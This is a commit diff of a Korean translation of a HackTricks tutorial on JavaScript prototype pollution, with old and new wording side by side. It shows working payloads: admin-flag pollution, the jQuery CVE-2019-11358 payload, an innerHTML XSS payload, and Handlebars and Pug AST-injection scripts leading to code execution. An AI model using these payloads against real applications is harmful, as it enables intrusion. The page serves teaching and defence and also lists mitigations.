Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu

This commit is contained in:
Translator 2024-03-17 20:40:50 +00:00
parent 4903c8dbf5
commit 89e47429e3

View file

@ -1,31 +1,31 @@
# NodeJS - \_\_proto\_\_ & prototype 오염 # NodeJS - \_\_proto\_\_ & prototype Pollution
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary> <summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks를 지원하는 다른 방법: HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요. * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. * **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details> </details>
## JavaScript의 객체 <a href="#053a" id="053a"></a> ## JavaScript의 객체 <a href="#id-053a" id="id-053a"></a>
JavaScript의 객체는 핵심적으로 키-값 쌍으로 이루어진 속성의 컬렉션입니다. `null`을 인수로 사용하여 `Object.create`를 사용하여 빈 객체를 생성할 수 있습니다. 이 방법을 사용하면 상속된 속성이 없는 객체를 생성할 수 있습니다. JavaScript의 객체는 본질적으로 속성이라고 하는 키-값 쌍의 컬렉션입니다. 객체는 `Object.create`를 사용하여 `null`을 인수로 전달하여 빈 객체를 생성할 수 있습니다. 이 방법을 사용하면 상속된 속성이 없는 객체를 생성할 수 있습니다.
```javascript ```javascript
// Run this in the developers tools console // Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object. console.log(Object.create(null)); // This will output an empty object.
``` ```
빈 객체는 빈 딕셔너리와 유사하며, `{}`로 표현됩니다. 빈 객체는 빈 사전과 유사하며 `{}`로 표시됩니다.
### JavaScript에서의 함수와 클래스 ### JavaScript의 함수와 클래스
JavaScript에서는 함수와 클래스가 밀접하게 연결되어 있으며, 함수는 종종 클래스의 생성자로 사용됩니다. JavaScript는 원래 클래스 지원이 없지만, 생성자를 사용하여 클래스와 유사한 동작을 에뮬레이트할 수 있습니다. JavaScript에서 클래스와 함수는 밀접한 관련이 있으며, 함수는 종종 클래스의 생성자로 작용합니다. JavaScript는 네이티브 클래스 지원이 부족하지만, 생성자는 클래스 동작을 흉내 낼 수 있습니다.
```javascript ```javascript
// Run this in the developers tools console // Run this in the developers tools console
@ -43,37 +43,37 @@ var employee1 = new Employee("Generic Employee", "Developer");
employee1.__proto__ employee1.__proto__
``` ```
### 자바스크립트에서의 프로토타입 ### 자바스크립트의 프로토타입
자바스크립트는 런타임에서 프로토타입 속성을 수정, 추가 또는 삭제할 수 있습니다. 이 유연성은 클래스 기능을 동적으로 확장할 수 있게 해줍니다. 자바스크립트는 프로토타입 속성을 실행 중에 수정, 추가 또는 삭제할 수 있습니다. 이 유연성은 클래스 기능을 동적으로 확장할 수 있게 니다.
`toString``valueOf`와 같은 함수는 동작을 변경하기 위해 수정될 수 있으며, 이는 자바스크립트의 프로토타입 시스템의 적응 가능성을 보여줍니다. `toString``valueOf`와 같은 함수는 그들의 동작을 변경하기 위해 수정될 수 있으며, 이는 자바스크립트의 프로토타입 시스템의 적응 가능을 보여줍니다.
## 상속 ## 상속
프로토타입 기반 프로그래밍에서 속성/메서드는 클래스로부터 객체에게 상속됩니다. 이러한 클래스는 다른 클래스의 인스턴스 또는 빈 객체에 속성/메서드를 추가함으로써 생성됩니다. 프로토타입 기반 프로그래밍에서 속성/메서드는 클래스로부터 객체에게 상속됩니다. 이러한 클래스는 다른 클래스의 인스턴스에 속성/메서드를 추가하거나 빈 객체에 추가하여 생성됩니다.
다른 객체들의 프로토타입으로 사용되는 객체(예: `myPersonObj`)에 속성이 추가되면, 상속받는 객체들은 이 새로운 속성에 접근할 수 있습니다. 그러나 이 속성은 명시적으로 호출되지 않는 한 자동으로 표시되지 않습니다. 다른 객체가 상속하는 속성이 객체에 추가될 때(예: `myPersonObj`와 같은 다른 객체의 프로토타입으로 사용될 때), 상속받는 객체들은 이 새로운 속성에 액세스할 수 있습니다. 그러나 이 속성은 명시적으로 호출되지 않는 한 자동으로 표시되지 않습니다.
## \_\_proto\_\_ 오염 <a href="#0d0a" id="0d0a"></a> ## \_\_proto\_\_ 오염 <a href="#id-0d0a" id="id-0d0a"></a>
## 자바스크립트에서 프로토타입 오염 탐색 ## 자바스크립트에서 프로토타입 오염 탐색
자바스크립트 객체는 키-값 쌍으로 정의되며, 자바스크립트 객체 프로토타입에서 상속됩니다. 이는 객체 프로토타입을 수정하면 환경 내의 모든 객체에 영향을 미칠 수 있다는 것을 의미합니다. 자바스크립트 객체는 키-값 쌍으로 정의되며, 자바스크립트 객체 프로토타입에서 상속됩니다. 이는 객체 프로토타입을 변경하면 환경 내의 모든 객체에 영향을 줄 수 있다는 것을 의미합니다.
이를 설명하기 위해 다른 예제를 사용해보겠습니다: 다른 예제를 사용하여 설명해 봅시다:
```javascript ```javascript
function Vehicle(model) { function Vehicle(model) {
this.model = model; this.model = model;
} }
var car1 = new Vehicle("Tesla Model S"); var car1 = new Vehicle("Tesla Model S");
``` ```
객체 프로토타입에 접근하는 것은 다음을 통해 가능합니다: 다음을 통해 Object prototype에 액세스할 수 있습니다:
```javascript ```javascript
car1.__proto__.__proto__; car1.__proto__.__proto__;
Vehicle.__proto__.__proto__; Vehicle.__proto__.__proto__;
``` ```
Object 프로토타입에 속성을 추가함으로써, 모든 JavaScript 객체는 이러한 새로운 속성을 상속받게 됩니다: 객체 프로토타입에 속성을 추가함으로써 모든 JavaScript 객체가 이러한 새로운 속성을 상속받게 됩니다:
```javascript ```javascript
function Vehicle(model) { function Vehicle(model) {
this.model = model; this.model = model;
@ -88,7 +88,7 @@ console.log(car1.isVehicle); // Outputs true
``` ```
## 프로토타입 오염 ## 프로토타입 오염
`__proto__` 사용이 제한된 경우, 함수의 프로토타입을 수정하는 것이 대안입니다: `__proto__` 사용이 제한된 시나리오에서는 함수의 프로토타입을 수정하는 것이 대안이 될 수 있습니다:
```javascript ```javascript
function Vehicle(model) { function Vehicle(model) {
this.model = model; this.model = model;
@ -104,15 +104,15 @@ console.log(car1.hasWheels); // Outputs true
car1.constructor.prototype.honk = function() { console.log("Honk!"); }; car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true; car1.constructor.prototype.isElectric = true;
``` ```
`Vehicle` 생성자에서 생성된 객체에만 영향을 미치며, `beep`, `hasWheels`, `honk`, `isElectric` 속성을 제공합니다. 것은 `Vehicle` 생성자에서 생성된 객체에만 영향을 줍니다. `beep`, `hasWheels`, `honk`, 그리고 `isElectric` 속성을 제공합니다.
프로토타입 오염을 통해 JavaScript 객체에 전역적으로 영향을 주는 두 가지 방법이 있습니다: 자바스크립트 객체를 전역적으로 영향을 주는 두 가지 방법은 다음과 같습니다:
1. `Object.prototype`을 직접 오염시키기: 1. `Object.prototype`을 직접 오염시키기:
```javascript ```javascript
Object.prototype.goodbye = function() { console.log("Goodbye!"); }; Object.prototype.goodbye = function() { console.log("Goodbye!"); };
``` ```
2. 자주 사용되는 구조체의 생성자의 프로토타입 오염하기: 2. 자주 사용되는 구조체의 생성자의 프로토타입을 오염시키기:
```javascript ```javascript
var example = {"key": "value"}; var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); }; example.constructor.prototype.greet = function() { console.log("Hello!"); };
@ -146,7 +146,7 @@ console.log(key1 + "." + key2)
``` ```
### 배열 요소 오염 ### 배열 요소 오염
JS에서 객체의 속성을 오염시킬 수 있는 것처럼, 배열에 접근할 수 있다면 **인덱스로 접근 가능한 배열 값도 오염시킬 수 있습니다** (값을 덮어쓸 수 없으므로, 값을 오염시키려면 쓰이지만 쓰이지 않는 인덱스를 오염시켜야 합니다). JS에서 객체의 속성을 오염시킬 수 있는 것처럼, 배열을 오염시킬 수 있다면 **배열의 값도 오염시킬 수 있다는 것**을 유의하십시오. 이는 **인덱스로 접근 가능한 배열의 값**도 오염시킬 수 있다는 것을 의미합니다 (값을 덮어쓸 수는 없으므로, 사용되지만 쓰이지 않는 인덱스를 오염시켜야 합니다).
```javascript ```javascript
c = [1,2] c = [1,2]
a = [] a = []
@ -158,7 +158,7 @@ c[1] // 2 -- not
``` ```
### Html 요소 오염 ### Html 요소 오염
JS를 통해 HTML 요소를 생성할 때, **`innerHTML`** 속성을 **덮어쓰는** 것으로 임의의 HTML 코드를 작성할 수 있습니다. [이 글에서 아이디어와 예시를 참고하였습니다](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/). JS를 통해 HTML 요소를 생성할 때 **`innerHTML`** 속성을 **덮어쓰기**하여 **임의의 HTML 코드를 작성**할 수 있습니다. [이 아이디어와 예시는 이 글에서 참고하였습니다](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
{% code overflow="wrap" %} {% code overflow="wrap" %}
```javascript ```javascript
@ -177,38 +177,37 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
### 기본 예시 ### 기본 예시
프로토타입 오염은 애플리케이션에서 `Object.prototype`의 속성을 덮어쓸 수 있는 결함으로 발생합니다. 이는 대부분의 객체가 `Object.prototype`에서 속성을 상속받기 때문에 발생합니다. 프로토타입 오염은 응용 프로그램에서 `Object.prototype`의 속성을 덮어쓸 수 있는 결함으로 발생합니다. 이는 대부분의 객체가 `Object.prototype`에서 속성을 파생하기 때문에 발생합니다.
가장 간단한 예시는 확인될 객체의 **정의되지 않은 속성에 값을 추가**하는 것입니다. 예를 들어: 가장 쉬운 예시는 **확인될 객체의 정의되지 않은 속성에 값을 추가**하는 것입니다.
```javascript ```javascript
if (user.admin) { if (user.admin) {
``` ```
만약 **`admin` 속성이 정의되지 않은** 경우, PP를 악용하여 True로 설정할 수 있습니다. 다음과 같이 하면 됩니다: 만약 속성 **`admin`이 정의되지 않은 경우** PP를 남용하여 다음과 같이 True로 설정할 수 있습니다:
```javascript ```javascript
Object.prototype.isAdmin = true Object.prototype.isAdmin = true
let user = {} let user = {}
user.isAdmin // true user.isAdmin // true
``` ```
이 메커니즘은 특정 입력을 제어할 수 있는 경우, 공격자는 응용 프로그램의 모든 객체의 프로토타입을 수정할 수 있습니다. 이 조작은 일반적으로 `__proto__` 속성을 설정하여 수행되며, JavaScript에서는 이것이 객체의 프로토타입을 직접 수정하는 것과 동일합니다. 이 메커니즘은 특정 입력을 통제하는 공격자가 응용 프로그램의 모든 객체의 프로토 타입을 수정할 수 있도록 속성을 조작하는 것을 포함합니다. 이 조작은 일반적으로 `__proto__` 속성을 설정하여 이루어지며, JavaScript에서는 이것이 객체의 프로토 타입을 직접 수정하는 것과 동의어입니다.
이 공격이 성공적으로 실행될 수 있는 조건은 특정 [연구](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)에서 설명된 대로 다음과 같습니다: 이 공격이 성공적으로 실행될 수 있는 조건은 특정 [연구](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript\_prototype\_pollution\_attack\_in\_NodeJS.pdf)에서 설명된 바와 같이 다음과 같습니다:
- 재귀적인 병합 수행
- 경로를 기반으로 속성 정의
- 객체 복제
* 재귀적 병합 수행.
* 경로를 기반으로 속성 정의.
* 객체 복제.
### 함수 재정의 ### 함수 재정의
```python ```python
customer.__proto__.toString = ()=>{alert("polluted")} customer.__proto__.toString = ()=>{alert("polluted")}
``` ```
### Proto Pollution을 통한 RCE ### Proto Pollution to RCE
{% content-ref url="prototype-pollution-to-rce.md" %} {% content-ref url="prototype-pollution-to-rce.md" %}
[prototype-pollution-to-rce.md](prototype-pollution-to-rce.md) [prototype-pollution-to-rce.md](prototype-pollution-to-rce.md)
{% endcontent-ref %} {% endcontent-ref %}
## 클라이언트 측 프로토타입 오염을 통한 XSS ## 클라이언트 측 프로토타입 오염으로 XSS
{% content-ref url="client-side-prototype-pollution.md" %} {% content-ref url="client-side-prototype-pollution.md" %}
[client-side-prototype-pollution.md](client-side-prototype-pollution.md) [client-side-prototype-pollution.md](client-side-prototype-pollution.md)
@ -216,42 +215,45 @@ customer.__proto__.toString = ()=>{alert("polluted")}
### CVE-201911358: jQuery $ .extend를 통한 프로토타입 오염 공격 ### CVE-201911358: jQuery $ .extend를 통한 프로토타입 오염 공격
[자세한 내용은 이 문서를 참조하세요](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) [자세한 내용은 이 기사를 확인하십시오](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) jQuery에서 `$ .extend` 함수는 깊은 복사 기능이 부적절하게 사용되면 프로토타입 오염으로 이어질 수 있습니다. 이 함수는 일반적으로 객체를 복제하거나 기본 객체에서 속성을 병합하는 데 사용됩니다. 그러나 잘못 구성된 경우, 새 객체에 할당되어야 하는 속성이 대신 프로토타입에 할당될 수 있습니다. 예를 들어:
jQuery에서 `$ .extend` 함수는 깊은 복사 기능을 잘못 사용할 경우 프로토타입 오염을 유발할 수 있습니다. 이 함수는 일반적으로 객체를 복제하거나 기본 객체에서 속성을 병합하는 데 사용됩니다. 그러나 잘못 구성된 경우, 새로운 객체를 위해 의도된 속성이 프로토타입에 할당될 수 있습니다. 예를 들어:
```javascript ```javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}')); $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true console.log({}.devMode); // Outputs: true
``` ```
이 취약점은 CVE-2019-11358로 식별되며, 깊은 복사가 prototype을 무심코 수정하여 `isAdmin`과 같은 속성이 적절한 존재 확인 없이 확인되는 경우 무단 관리자 액세스와 같은 잠재적인 보안 위험을 초래할 수 있습니다. 이 취약점은 CVE-2019-11358로 식별되었으며, 깊은 복사가 prototype을 무심코 수정하여 `isAdmin`과 같은 속성이 적절한 존재 확인 없이 확인될 경우 무단 관리자 액세스와 같은 잠재적 보안 위험으로 이어질 수 있다는 것을 보여줍니다.
### CVE-2018-3721, CVE-2019-10744: lodash를 통한 Prototype pollution 공격
### CVE-2018-3721, CVE-2019-10744: lodash를 통한 Prototype Pollution 공격 [자세한 내용은 이 기사를 확인하세요](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
[자세한 내용은 이 기사를 참조하세요](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) [Lodash](https://www.npmjs.com/package/lodash)는 유사한 prototype pollution 취약점(CVE-2018-3721, CVE-2019-10744)을 겪었습니다. 이러한 문제는 4.17.11 버전에서 해결되었습니다.
[Lodash](https://www.npmjs.com/package/lodash)는 유사한 prototype pollution 취약점 (CVE-2018-3721, CVE-2019-10744)을 겪었습니다. 이러한 문제는 버전 4.17.11에서 해결되었습니다. ### CVE가 포함된 또 다른 자습서
### 다른 CVE가 포함된 튜토리얼
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %} {% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
### Prototype Pollution 감지 도구
* [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): 웹 애플리케이션에서 서버 측 prototype pollution 취약점을 감지하고 분석하기 위해 설계된 Burp Suite 확장 프로그램입니다. 이 도구는 잠재적인 prototype pollution 문제를 식별하기 위해 요청을 스캔하는 프로세스를 자동화합니다. 특히 Node.js 라이브러리에 중점을 두어 알려진 가젯을 악용하는 방법을 활용합니다.
* [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): 이 확장 프로그램은 서버 측 prototype pollution 취약점을 식별합니다. 이는 [서버 측 prototype pollution](https://portswigger.net/research/server-side-prototype-pollution)에서 설명된 기술을 사용합니다.
### NodeJS에서의 AST Prototype Pollution ### NodeJS에서의 AST Prototype Pollution
NodeJS는 템플릿 엔진과 TypeScript와 같은 기능에서 JavaScript의 Abstract Syntax Trees (AST)를 광범위하게 활용합니다. 이 섹션에서는 템플릿 엔진인 Handlebars와 Pug와 관련된 prototype pollution 취약점에 대해 알아보겠습니다. NodeJS는 템플릿 엔진 및 TypeScript와 같은 기능을 위해 JavaScript에서 추상 구문 트리(Abstract Syntax Trees, AST)를 광범위하게 활용합니다. 이 섹션에서는 Handlebars와 Pug와 같은 템플릿 엔진에서 prototype pollution과 관련된 취약점을 탐구합니다.
#### Handlebars 취약점 분석 #### Handlebars 취약점 분석
Handlebars 템플릿 엔진은 prototype pollution 공격에 취약합니다. 이 취약점은 `javascript-compiler.js` 파일 내의 특정 함수에서 발생합니다. 예를 들어, `appendContent` 함수는 `pendingContent`가 존재하는 경우 이를 연결하고, `pushSource` 함수는 소스를 추가한 후 `pendingContent``undefined`로 재설정합니다. Handlebars 템플릿 엔진은 prototype pollution 공격에 취약합니다. 이 취약점은 `javascript-compiler.js` 파일 내의 특정 함수에서 발생합니다. 예를 들어, `appendContent` 함수는 `pendingContent`가 존재하는 경우 이를 연결하고, `pushSource` 함수는 소스를 추가한 후 `pendingContent``undefined`로 재설정합니다.
##### 공격 과정 **악용 과정**
이 취약점을 이용하기 위해 Handlebars가 생성한 AST (Abstract Syntax Tree)를 활용하여 다음 단계를 따릅니다: 악용은 Handlebars에 의해 생성된 AST(Abstract Syntax Tree)를 활용하여 다음 단계를 따릅니다:
1. **파서 조작**: 먼저, 파서는 `NumberLiteral` 노드를 통해 값이 숫자인지 확인합니다. Prototype pollution을 통해 숫자가 아닌 문자열을 삽입할 수 있습니다. 1. **파서 조작**: 먼저, `NumberLiteral` 노드를 통해 파서가 값이 숫자임을 강제합니다. Prototype pollution을 통해 숫자가 아닌 문자열을 삽입할 수 있습니다.
2. **컴파일러 처리**: 컴파일러는 AST 객체나 문자열 템플릿을 처리할 수 있습니다. `input.type``Program`과 같으면 입력이 사전에 구문 분석된 것으로 처리되어 취약점이 발생할 수 있습니다. 2. **컴파일러 처리**: 컴파일러는 AST 객체나 문자열 템플릿을 처리할 수 있습니다. `input.type``Program`인 경우 입력이 사전 구문 분석된 것으로 처리되어 악용될 수 있습니다.
3. **코드 삽입**: `Object.prototype`을 조작함으로써 임의의 코드를 템플릿 함수에 삽입할 수 있으며, 이는 원격 코드 실행으로 이어질 수 있습니다. 3. **코드 삽입**: `Object.prototype`을 조작하여 템플릿 함수에 임의의 코드를 삽입할 수 있으며, 이는 원격 코드 실행으로 이어질 수 있습니다.
Handlebars 취약점을 악용하는 예시: Handlebars 취약점 악용을 보여주는 예시:
```javascript ```javascript
const Handlebars = require('handlebars'); const Handlebars = require('handlebars');
@ -276,11 +278,11 @@ console.log(eval('(' + template + ')')['main'].toString());
``` ```
이 코드는 공격자가 Handlebars 템플릿에 임의의 코드를 삽입할 수 있는 방법을 보여줍니다. 이 코드는 공격자가 Handlebars 템플릿에 임의의 코드를 삽입할 수 있는 방법을 보여줍니다.
**외부 참조**: 'flat' 라이브러리와 관련된 프로토타입 오염 문제가 발견되었습니다. 자세한 내용은 [GitHub의 이슈](https://github.com/hughsk/flat/issues/105)에서 확인할 수 있습니다. **외부 참조**: 'flat' 라이브러리와 관련된 프로토타입 오염 문제가 발견되었습니다. 자세한 내용은 다음을 참조하십시오: [GitHub의 이슈](https://github.com/hughsk/flat/issues/105).
**외부 참조**: ['flat' 라이브러리의 프로토타입 오염과 관련된 이슈](https://github.com/hughsk/flat/issues/105) **외부 참조**: 'flat' 라이브러리에서 발견된 프로토타입 오염과 관련된 이슈: [이슈](https://github.com/hughsk/flat/issues/105)
Python에서 프로토타입 오염을 이용한 공격 예시: Python에서 프로토타입 오염 악용 예시:
```python ```python
import requests import requests
@ -308,9 +310,9 @@ requests.get(TARGET_URL)
``` ```
#### Pug 취약점 #### Pug 취약점
Pug, 또 다른 템플릿 엔진,는 프로토타입 오염의 유사한 위험에 직면합니다. 자세한 정보는 [Pug에서 AST 삽입에 대한 논의](https://blog.p6.is/AST-Injection/#Pug)에서 확인할 수 있습니다. Pug, 또 다른 템플릿 엔진,는 프로토타입 오염의 유사한 위험에 직면합니다. 자세한 정보는 [Pug에서 AST 삽입에 대한 논의](https://blog.p6.is/AST-Injection/#Pug)에서 확인할 수 있습니다.
Pug에서 프로토타입 오염 예시: Pug에서 프로토타입 오염 예시:
```python ```python
import requests import requests
@ -329,19 +331,19 @@ requests.get(TARGET_URL)
``` ```
### 예방 조치 ### 예방 조치
프로토타입 오염의 위험을 줄이기 위해 다음과 같은 전략을 사용할 수 있습니다: 프로토타입 오염의 위험을 줄이기 위해 아래에 나열된 전략들을 사용할 수 있습니다:
1. **객체 불변성**: `Object.freeze`를 적용하여 `Object.prototype` 불변하게 만들 수 있습니다. 1. **객체 불변성**: `Object.prototype`을 `Object.freeze`를 적용하여 불변하게 만들 수 있습니다.
2. **입력 유효성 검사**: JSON 입력은 애플리케이션의 스키마에 엄격하게 검증되어야 합니다. 2. **입력 유효성 검사**: JSON 입력은 응용 프로그램의 스키마에 엄격히 대조되어야 합니다.
3. **안전한 병합 함수**: 재귀적인 병합 함수의 불안전한 사용은 피해야 합니다. 3. **안전한 병합 함수**: 재귀적 병합 함수의 안전하지 않은 사용은 피해야 합니다.
4. **프로토타입 없는 객체**: `Object.create(null)`을 사용하여 프로토타입 속성이 없는 객체를 생성할 수 있습니다. 4. **프로토타입 없는 객체**: `Object.create(null)`을 사용하여 프로토타입 속성이 없는 객체를 생성할 수 있습니다.
5. **Map 사용**: `Object` 대신 `Map`을 사용하여 키-값 쌍을 저장해야 합니다. 5. **Map 사용**: `Object` 대신에 키-값 쌍을 저장하기 위해 `Map`을 사용해야 합니다.
6. **라이브러리 업데이트**: 정기적으로 라이브러리를 업데이트하여 보안 패치를 적용할 수 있습니다. 6. **라이브러리 업데이트**: 정기적으로 라이브러리를 업데이트하여 보안 패치를 통합할 수 있습니다.
7. **린터 및 정적 분석 도구**: ESLint와 같은 도구와 적절한 플러그인을 사용하여 프로토타입 오염 취약점을 감지하고 방지할 수 있습니다. 7. **린터 및 정적 분석 도구**: ESLint와 적절한 플러그인과 같은 도구를 사용하여 프로토타입 오염 취약점을 감지하고 방지할 수 있습니다.
8. **코드 리뷰**: 프로토타입 오염과 관련된 잠재적 위험을 식별하고 해결하기 위해 철저한 코드 리뷰를 시해야 합니다. 8. **코드 리뷰**: 프로토타입 오염과 관련된 잠재적 위험을 식별하고 해결하기 위해 철저한 코드 리뷰를 시해야 합니다.
9. **보안 교육**: 개발자들에게 프로토타입 오염의 위험과 안전한 코드 작성을 위한 모범 사례에 대해 교육해야 합니다. 9. **보안 교육**: 개발자들에게 프로토타입 오염의 위험과 안전한 코드 작성을 위한 모범 사례에 대해 교육해야 합니다.
10. **신중한 라이브러리 사용**: 타사 라이브러리 사용 시 신중해야 합니다. 그들의 보안 상태를 평가하고 코드를 검토해야 합니다. 특히 객체 조작과 관련된 라이브러리를 검토해야 합니다. 10. **조심해서 라이브러리 사용**: 제3자 라이브러리 사용 시 주의해야 합니다. 그들의 보안 포지션을 평가하고 특히 객체 조작을 하는 라이브러리의 코드를 검토해야 합니다.
11. **런타임 보호**: 프로토타입 오염 공격을 탐지하고 방지할 수 있는 보안 중심의 npm 패키지와 같은 런타임 보호 메커니즘을 사용해야 합니다. 11. **런타임 보호**: 보안 중심 npm 패키지를 사용하여 프로토타입 오염 공격을 감지하고 방지할 수 있는 런타임 보호 메커니즘을 사용해야 합니다.
## 참고 자료 ## 참고 자료
@ -352,14 +354,14 @@ requests.get(TARGET_URL)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary> <summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks를 지원하는 다른 방법: 다른 방법으로 HackTricks를 지원하는 방법:
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family) 컬렉션을 발견하세요. * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요. * **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요. * **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>